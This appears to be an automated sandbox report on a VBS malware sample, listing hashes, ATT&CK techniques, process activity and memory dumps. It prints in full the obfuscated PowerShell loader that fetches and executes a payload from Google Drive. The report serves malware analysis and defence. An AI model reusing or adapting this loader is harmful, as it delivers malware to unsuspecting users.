8da5ed79da8da8c5521a238f05bb61bd1e48c59fab0bee7758fc11c163142396

General

Target

8da5ed79da8da8c5521a238f05bb61bd1e48c59fab0bee7758fc11c163142396.vbs
Size

73KB
MD5

3f5e0a8b0d1ac0143d359bcb63171066
SHA1

7f6368b52a021340768f61ae047d88c7e6d4add3
SHA256

8da5ed79da8da8c5521a238f05bb61bd1e48c59fab0bee7758fc11c163142396
SHA512

a2a351604fd741bdb95f74836aad27de590eb96857413da9187071c37cc6efd5b261057cd6bec5b4df94d9dc61d3179d4a8a37a4e23b0d5279ba254e83b3f5b3
SSDEEP

1536:sC1DjneW/+yAxEfH8YQO2+VjuNaU7CGTE4+6GDoQVYf:sC1v/3A+fRVji7CW9dGGf

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2384	powershell.exe
7	2384	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2384	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2384	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2384	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3036 wrote to memory of 2384	3036	WScript.exe	30
PID 3036 wrote to memory of 2384	3036	WScript.exe	30
PID 3036 wrote to memory of 2384	3036	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8da5ed79da8da8c5521a238f05bb61bd1e48c59fab0bee7758fc11c163142396.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Staggers Eudoxian Basilikummens Bonuspoint Tabskontoers Skallesmkkeren #>;$Lyserde='Showery';<#Lennoaceous reetableringen Retrieveren Personificerende Engladden Trkloset #>;$Paradoksal=$host.PrivateData;If ($Paradoksal) {$Veratrize++;}function Omhng120($Serranid){$Dekaterer=$Shockedness+$Serranid.Length-$Veratrize;for( $Triphosphate=5;$Triphosphate -lt $Dekaterer;$Triphosphate+=6){$Noosphere+=$Serranid[$Triphosphate];}$Noosphere;}function Stungen($Mermithergate){ . ($Psychogram) ($Mermithergate);}$Attributvrdierne=Omhng120 ' S apMTrougoK ncezStivniGen.rlSeminlKysteaIn.an/ Apof5Dr,je.Unreh0 U op Sikk (KimmeWMarbliTilb,nBr.lldNonv.o Fo,gwFo hisGenm. Kv.lN LadiTIgang Ducat1Tor j0Roeku.Schis0Mis t;C,odp NonefW PaneiFunkinTegne6Bnk v4Dripp; Eth ClywdxPerfo6 otto4Nomog;Yuruj ompharCh.fsvCykel:Unrev1 al g2Monol1Dagbo.Ersta0Janic) pole HyperG en,meMini cHeatek AlmioHu.ge/U sty2Strat0C ntr1Afko 0 U ig0ulsel1Lr.om0 Un u1 Tak DetaiFEf eriS,andrEnd.oe yltefP ukiorovsexDopin/Anemo1Os,el2di co1St,rs.Forva0Tub r ';$Odelet=Omhng120 'StenaUHomopSInveseVasofrA omv-Vejl,aReintG Sti,eDvornNAficiTEfter ';$Exaltations=Omhng120 '.ndechSv retMe,antMaoprpFeoffs Exp,: Cach/H ved/Deni dVel,frBespiiAntifvDiesee,ncau.Af tagIld uo op.aoSpildgPedomlUdrkeeGabes. X muc S.rboVrdstmska.d/Vildsu Bestc Udho?Casime.ragixStreep Suf.oPacifr Fedttacade=GroutdM ntaoGho twFyrrenCulo lrenteo.ermiaDoku d Rut & awahiHesped A li=Sytte1AquifZPseuddTalmayReshvbNobblZLygteYScala4 onunW onarRowsnMUn.omwNonh.YFac.eKEgoceb OutsuSvaleTUnderl irroGAl ebVprokuA snusN h litSlito9nertswOwlytX Nr ehFreigqImmollMe siWPrizeSGlem BBimlecSpr n ';$Christiansfeldere=Omhng120 'Optan>Rapso ';$Psychogram=Omhng120 'Cantaib odee atyrxAsymp ';$Nonexaggeration='Kassemangelens238';$Astrography='\Sternman224.Ill';Stungen (Omhng120 'A nde$Rainmg aledlNonexoForklbCountaPlettlBenzo:PadraIOpr ts.ntgetBrandaMlersnVicekdParitsAdmintW.isttStride Su lng gardDelegeSedim= Dr,b$ SnrleEntern igurvKompl: Overa Sk lpoverfpHintidproklaExuditLandsaStikb+Sharp$ inteANonhysImitatReg orBrys oT ykkgUt ovr UninaBescopT nnih ChoryAf ig ');Stungen (Omhng120 ' rnd$ tab gM,tallPreocoCondubSemita Tilfl urf:Sn ckSSingeeTricorFjerdiC,appaTricot SloseBulbil Angryv der=Lema $ AkadE lndfx TuscaHookslCobantPa deabulbitJunioiNonunoBiblinElectsUnde,. Rei,s Sc.epAdr nl ArguiMarvbtBeho,( Ceph$ShrugCLeonohMetodr RecuiBord sPlumatMarvei BermaPylorn OversOpmunfB,rmeeKonf lMonopdFuldveSpo trCodifeDecay)Upli ');Stungen (Omhng120 'overs[HymenN Gl meDrylyt Hove.Iagt Sm scaeChalkr A csvskil iKursuc Min,eA jekPMinkfo arzi FormnMyrictMrkatM roteaSimuln Nsk aCarougSmedeerestirTypol] D.ct:Klu d:OnomaS Jaw eUre.ecro eruLkkerrEnjoyi.entetHercyyAfs.iPMeninr CongoSlumbtNarrooReduccHyperoDuntplNeatn Stan.=Still Optim[Un erNVentueAnthrtI tax.BallfSIngeneM,rphc ntrouSkaber c,lpiV rdetgraviySulfaPT.ykkrOrd eoSolbatElekto UnoccNervio Fritl PrecTBill ySkr.bpLdreceNavne] rodu: Prpa:Cos.uTPecullBecrisCorre1Pikan2M cac ');$Exaltations=$Seriately[0];$Nongratifying=(Omhng120 'Songo$ AlumgM slyl RidsOStedmBRadioADel.nLOutpe:d skod O diy CaddeChampmMy coawindskPortaiSh ngN ccengSquad=ContaNPal ee BoerwGa,le- askOEtrusbP ppaJ postepursuCOran TBirac Arla sDrayiyt mposNonexTBo igeDruckmDiaki. BetinSlyngeVu.tuTRin e.VakuuwGanjaEOligabTils,cPirusLIntuiiDumdretrichnSkylltEndos ');Stungen ($Nongratifying);Stungen (Omhng120 'Donkr$ Int DPos ty MisteAncismTac.ya CounkFremeiSoftnnSubskgtwa d. iltrHCollieP steaUno edNa.opeumba ranodesRmega[Misto$SarifOMultidGlo,se RondlColomeCharat Medb]Front= List$ .aktATaktat OvertStra.r KlipiGlaurbPiratuOvonit stanvinde r CruodSpot iT.teleHous,rBeta nutense Reag ');$indledningers=Omhng120 'Inter$ .urpD L,ddyUnde eUncoummisdoaPer ek stofi.ebninjesuigG mcr. AlviD umfooDecenw ndsntevanlModneoMa agaKolbedSoldeF HeliiUn.nel Imdee riv( Kont$LektuEMavesx BinaaSkak.lXyloftInteraInjektTv reiMandjoFlippn Forms orag, gi t$SrklaMKrakee c epgBlamaaUnstar IjmaaInsti)psyko ';$Megara=$Istandsttende;Stungen (Omhng120 'Ndtrf$ ouquG tooll rikiOAlmacBOpfriaToothlProd :GefilD Inteo BesiNTyphousoci tBitniSLaman= njoi(gmelitResurEBaandsFlas,t Ildr-otozop AddraB,styt omfrHPeasa Chaws$TrnermBl baEBrideGBeroeaBlyglrAfsteABland)Omfo, ');while (!$Donuts) {Stungen (Omhng120 'Delef$JentrgRiflilKem koColosbUnsu a Schel exah:HvlviDBec siFrontdP ecrySesqunListeaUdfldmSucrai GaveaThion=Udrad$.utoltOmbytrfrogfu.lleseW,yme ') ;Stungen $indledningers;Stungen (Omhng120 'StiffSPreobtColosaLaeotrS tratChiff- UdasSVouchlJews eSepale opplpBinds Abote4Leads ');Stungen (Omhng120 'Hastv$T.ikogOve flL veroJ,nglbDeadwa selelOmgng:Asse DHvneroStemnnMang,uOwnsutLakfasPri,r= U ex(bo igT PacheCiff sOv.rptOldeb-Pa,esP ChiaaUl entU sanhUse e To on$ UnguM VermeGenkog BlodaF,dlar adioaRasor)Obers ') ;Stungen (Omhng120 'Overs$Utakng AllelCl,sso Bu,nbForlaa VedllForha:RevirT ,ouraNonsem Ro deHayag= Med $Telefg WiltlmoutooHetaebel,owaIndf,lmonos: EnerFHandsiSiks lPretrmLun rsDromot summr Derbi EctomPoli mPhotoeOve,nlHuers+Acina+Disbe%Under$,andsS ungeeUnb arReseriAccu.a Gen tunhare fblalSlummyAnt.r.LaramcSmallo SkyduAfskrnSybiltMaves ') ;$Exaltations=$Seriately[$Tame];}$Eksekverbare=282308;$trikstank=31667;Stungen (Omhng120 'C rom$ motigCirculTagryoMiliebForloaG.bbel S pr:NonemJBlacku Eftel orudeAllerm BluneForbis puppsNoveme LrernidiomsWab,t Repe=Akupu .aatGAdelseAandftGen r- maniCInsinoGrnsen EgentL,tbee reennFraflt ndel Unr p$.outiMro aieOpkalgGutsiaPilferKle oa She, ');Stungen (Omhng120 ' ore$Forsvgtmmerl Ens o CarbbPseudaRkkevlBev s:FormaEAspacxS ptopC rkelFriediFj rncFlyn aSunfibSvaeriLokall Nippi roustBlaahyTopsp rind=W shi Retor[ xureSNotoryTil.ys salvtContaeEmanumneote.KefsfCAu tlo.odifnHyn,sv Reole DamprL.gkatNumbb]Skatt:Proec:MetteFF dusrSkitsoChargmInterBBe liaStvnisforfeeCro.k6 egle4 itheSFrosttLatherAmpleiAblatnPrologPalae(Belam$ Au oJDe maustranlGoyineEndotmCommieSeggas ecisMali.e NectnAntics Akti)Besla ');Stungen (Omhng120 'Missu$SubvegfravrlTaksto portb Re saNinetlGalvv:Leg nTFlymehTrapioEnh dmCordiiBrugesD cklt Ac u Uddan=Confi Afpa[ MetaS Ect y Genes.ipsot harie rdomm Stev.Musk,TOmproeSek nx Othatindkr. SecaEAlv onEctrocOrigioErkyndBryoniSneadnVillig ,ntr]Soci :rgneh:StilmABrnepS ynonCP.laeISaracIBetj .SeersGUndereEnwrit pannS Umrktbassar trici otanGamb g over( Coxe$DrapeE Se uxN,nmapCranilFerdyiSleigcKamgaaAdaptb Gappi.aabul Tek iFolket DiacyDisco) Farv ');Stungen (Omhng120 'Samme$CircugTasselVens.oRhi ebS elnaBothilThaum:HvidkoHoggepMolalsMet gt BesktO teaeIndbanGonord StateDem t=Downv$DisemTNaturhUn raoBagr.mPersoiSprkfs Blegt M zz.Hove.sDe,umuanstrbEmbiosJydettOptakrT staiBeslanRsonngP haw( .iva$TanisE R.mpkLymphsHu hjedaakakD shevVrvleeHeracrSubcob So aa A derSamleeParti, apot$Laze.tM diarShoppi Foolk fluisForgat ver aUndernportskD,tal)Echiu ');Stungen $opsttende;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2384-4-0x000007FEF58AE000-0x000007FEF58AF000-memory.dmp

Filesize
4KB

Download
memory/2384-5-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download
memory/2384-6-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/2384-7-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2384-8-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2384-9-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2384-10-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2384-11-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2384-13-0x000007FEF58AE000-0x000007FEF58AF000-memory.dmp

Filesize
4KB

Download
memory/2384-14-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2384-16-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing